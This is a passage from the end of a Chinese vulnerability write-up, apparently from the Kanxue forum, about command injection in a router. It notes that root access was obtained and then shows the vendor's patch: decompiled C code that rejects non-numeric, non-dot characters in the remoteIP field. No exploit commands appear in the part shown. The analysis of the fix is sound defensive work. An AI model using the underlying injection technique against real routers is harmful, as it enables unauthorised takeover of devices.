成功,此时拿到了路由器的最高权限:五
修复方案
226
版本,对上述漏洞发布了补丁。detect_remoteIp_invalid
函数,该函数检查了remoteIP
字段是否为纯数字或者字符.
,因为正常的IP
应该为xx.xx.xx.xx
。这相当于对命令注入的字段做了一个过滤。int __fastcall detect_remoteIp_invalid(char *buf)
{
int len; // $v0
char *v3; // $a0
char *v4; // $v0
int v5; // $v1len = strlen(buf);
v3 = buf;
v4 = &buf[len];
while ( v3 != v4 )
{
v5 = *v3;
if ( (unsigned __int8)(v5 - 48) < 0xAu )
{
++v3;
}
else
{
++v3;
if ( v5 != '.' )
{
uf_log_printf(
uf_log,
"ERROR (%s %s %d)invalid char: %c, need [number][.][number]!",
"sgi.c",
"detect_remoteIp_invalid",
273,
v5);
return -1;
}
}
}
return 0;
}
看雪ID:ZIKH26
https://bbs.kanxue.com/user-home-953233.htm
# 往期推荐
2、在Windows平台使用VS2022的MSVC编译LLVM16
3、神挡杀神——揭开世界第一手游保护nProtect的神秘面纱
球分享
球点赞
球在看
点击阅读原文查看更多